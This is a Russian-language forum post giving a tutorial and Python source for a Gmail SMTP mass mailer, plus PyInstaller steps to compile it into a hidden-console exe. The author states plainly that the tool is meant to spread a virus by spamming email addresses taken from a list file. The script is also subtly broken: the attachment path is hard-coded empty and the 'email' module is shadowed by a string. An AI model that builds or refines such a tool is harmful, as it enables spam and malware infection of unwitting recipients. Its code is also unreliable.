• VLMI - форум по обмену информацией. На форуме можете найти способы заработка, разнообразную информацию по интернет-безопасности, обмен знаниями, курсы/сливы.

    После регистрации будут доступны основные разделы.

    Контент форума создают пользователи, администрация за действия пользователей не несёт ответственности, отказ от ответственности. Так же перед использованием форума необходимо ознакомиться с правилами ресурса. Продолжая использовать ресурс вы соглашаетесь с правилами.
  • Подпишись на наш канал в Telegram для информации о актуальных зеркалах форума: https://t.me/vlmiclub

Python E-mail Distributor

ZELDY

Новичок
Сообщения
0
Реакции
5
0 руб.
Всем привет! В этой статье мы с вами напишем "E-mail Distributor" для компьютера. Наша программа будет распространять вирус , путем многочисленного спама на почты.(Название сам придумал xD)
Спойлер: скрипт будет работать с GMAIL.

Установка Python
Переходим на официальный сайт Python'a - ЖМЯКНИ. Скачиваем последнюю версию и устанавливаем ее.
Untitled.png
Приступаем к написанию кода)
Изначально мы подключим нужные нам модули. Модуль - написанные коды/функции,которые подключаются к нашей программе.
=========================================

Python:
import smtplib, os, email, mimetypes
from email.mime.text import MIMEText
from email.mime.multipart import MIMEBase
from email.mime.multipart import MIMEMultipart
from email.mime.image import MIMEImage
from email.mime.audio import MIMEAudio
from email.header import Header
from base64 import encodebytes
=========================================
Зададим необходимые нам переменные.
Python:
email = input("Email(GMAIL): ") # Считываем у пользователя e-mail
password = input("Password: ") # Считываем пароль от этой самой почты у пользователя, так ка для доступа к SMTP он необходим(
subject = input("Subject: ") # Пользователь выбирает тему сообщения
text = input("Text: ") # Пользователь набирает текст
n = input("Do u want to attach a file?(Y/N)").upper() # Спрашиваем, хочет ли пользователь прикрепить файл
if n == 'Y': # Если ответ - "Да", то просим ввести путь к файлу
    path = input("Path: ") # Считываем у пользователя путь к файлу
else: # Иначе мы ничего не делаем
    path = ''
fileName = path # Почему бы и нет xD
n = 0 # Номер строки, с которой мы начнем отсчет
f = open(fileName, 'r') # Открываем файл с базой почт
=========================================
Основная часть кода.
Python:
for i, line in enumerate(f):             |
    line = line.replace("\n", "")        |= # Запускаем цикл по перебору каждой строки/почты в файле
    if i >= n:                             |
        try: # Пробуем сделать "что-то"
            mail_from   = email # Отправитель
            mail_to     = line   # Получатель
            mail_text   = text # Текст письма
            mail_subj   = subject # Заголовок письма
            mail_coding = 'windows-1251' # Кодировка
            attach_file = '' # Прикрепляемый файл

            # Параметры SMTP-сервера
            smtp_server = "smtp.gmail.com" # Сервер для подключения
            smtp_port   = 587 # Порт для подключения
            smtp_user   = email # Пользователь smtp
            smtp_pwd    = password # Пароль smtp
        
            # Дальше всё и так понятно, буду писать кратенько)
        
            # Формирование сообщения
            multi_msg = MIMEMultipart()
            multi_msg['From'] = Header(mail_from, mail_coding)
            multi_msg['To'] = Header(mail_to, mail_coding)
            multi_msg['Subject'] =  Header(mail_subj, mail_coding)

            msg = MIMEText(mail_text.encode('cp1251'), 'plain', mail_coding)
            msg.set_charset(mail_coding)
            multi_msg.attach(msg)

            # Присоединяем файл
            if(os.path.exists(attach_file) and os.path.isfile(attach_file)):
                file = open(attach_file, 'rb')
                attachment = MIMEBase('application', "octet-stream")
                attachment.set_payload(file.read())
                email.encoders.encode_base64(attachment)
                file.close()
                only_name_attach = Header(os.path.basename(attach_file),mail_coding);
                attachment.add_header('Content-Disposition','attachment; filename="%s"' % only_name_attach)
                multi_msg.attach(attachment)
            else:
                if(attach_file.lstrip() != ""):
                    print("Файл для атача не найден - " + attach_file)

            # Отправка
            smtp = smtplib.SMTP(smtp_server, smtp_port)
            smtp.ehlo()
            smtp.starttls()
            smtp.ehlo()
            smtp.login(smtp_user, smtp_pwd)
            smtp.sendmail(mail_from, mail_to, multi_msg.as_string())
            smtp.quit()
        
        except: # Если будет ошибка(почты не существует), то мы забьем и продолжим выполнять скрипт)
            pass
=========================================
Сообщаем, что работа скрипта окончена
Python:
print("[+]FINISH")
input()
=========================================
Компилим в exe
Для этих целей существует утилита - PyInstaller. Однако ее прийдется установить, команда для CMD: pip install pyinstaller. У PyInstaller'a есть аргументы, вот основные из них:
1) -F, соберет все файлы в один exe файл .
2)-w, отключит консоль .
3)-i |путь к иконке|, аргумент,который подключит к программе иконку .
Финальная команда для CMD: pyinstaller -F -w -i |путь к иконке| |путь к файлу .py|.

Заключение
Скачать исходники можно по ссылке - ЖМЯКНИ
Пароль: vlmi.top
Благодярю за прочтение данной статьи, удачи!
 
Сверху Снизу